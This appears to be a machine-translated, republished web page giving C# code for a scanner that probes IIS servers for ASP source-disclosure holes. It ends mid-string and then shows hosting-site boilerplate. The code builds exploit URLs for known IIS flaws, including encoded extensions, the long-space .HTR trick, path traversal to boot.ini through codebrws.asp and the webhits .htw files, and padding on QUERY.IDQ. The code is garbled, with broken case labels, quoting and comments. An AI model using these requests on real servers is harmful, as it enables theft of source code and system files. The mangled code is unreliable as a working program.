An application written in C # to scan an ASP source vulnerability

Source: Internet
Author: User
Tags define ini query split root directory
Procedure//Main method
protected void Btngo_click (object sender, System.EventArgs e)
{

Resolving URLs
string strserver = This.txtServer.Text;
string strurl = This.txtFileName.Text;
char [] point = {'. '}; Define the delimiter as "."
Char[] line = {'/'}; Define the delimiter as "."
string [] arrstring = Strurl.split (line);

Request ASP File Full name
String strFileName = Arrstring[arrstring.length-1];
Find the path from the root directory
String strpath = strurl.substring (0,
Strurl.length-strfilename.length);

Resolve file Full Name
arrstring = Strfilename.split (point);
To find the file name extension
String strlast = Arrstring[arrstring.length-1];
Ask for file name
String strfirst = strfilename.substring (0,
STRFILENAME.LENGTH-STRLAST.LENGTH-1);



Invalidate buttons, input boxes, etc.
This.txtServer.ReadOnly = true;
This.txtFileName.ReadOnly = true;
this.btnClear.Enabled = false;
this.btnGo.Enabled = false;


if (This.txtServer.Text = = "http://" | | this.txtFileName.Text = ""
|| This.txtServer.Text.Trim () = = "" | |
This.txtServer.Text.Substring (0,7)!= "http://")
{
MessageBox.Show ("Please enter the correct host name and filename!") ") ;
This.txtServer.Focus ();
}
Else
{
This.txtResult.Visible = true;
This.txtResult.ReadOnly = true;
this.barStatus.Text = "Connecting host ...";

String Strrequestfile;

Switch (THIS.CBOMETHOD.SELECTEDINDEX)
{
Case 0://Direct Read
Strrequestfile = strserver + strurl;
break;
Case 5://%2E%41SP
Strrequestfile = strserver + strpath + strfirst
+ "%2E%41SP";
break;
Case 8://LONGHTR
Strrequestfile = strserver + strurl
+ "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.HTR";
break;

Case://codebrws.asp
Strrequestfile = strserver + "/iissamples/exair/howitworks/codebrws.asp?source="
+ strURL;
break;

Case one://showcode.asp
Strrequestfile = strserver + "/iissamples/exair/howitworks/codebrws.asp?source="
+ "/msadc/." /.. /.. /.. /boot.ini ";
Break

Case://NULL.HTW
Strrequestfile = strserver + "/null.htw?" Ciwebhitsfile= "
+ strURL + "%20&cirestriction=none&cihilitetype=full";
break;
Case://QFULLHIT.HTW
Strrequestfile = strserver + "/iissamples/issamples/oop/qfullhit.htw?"
+ "ciwebhitsfile=/." /.. /boot.ini&cirestriction=none "
+ "&cihilitetype=full";
break;

Case://QSUMRHIT.HTW
Strrequestfile = strserver + "/iissamples/issamples/oop/qsumrhit.htw?"
+ "ciwebhitsfile=/." /.. /boot.ini&cirestriction=none "
+ "&cihilitetype=full";
break;

Case://QUERY.IDQ
Strrequestfile = strserver + "/QUERY.IDQ?" citemplate=/.. /.. /boot.ini "
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%



Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.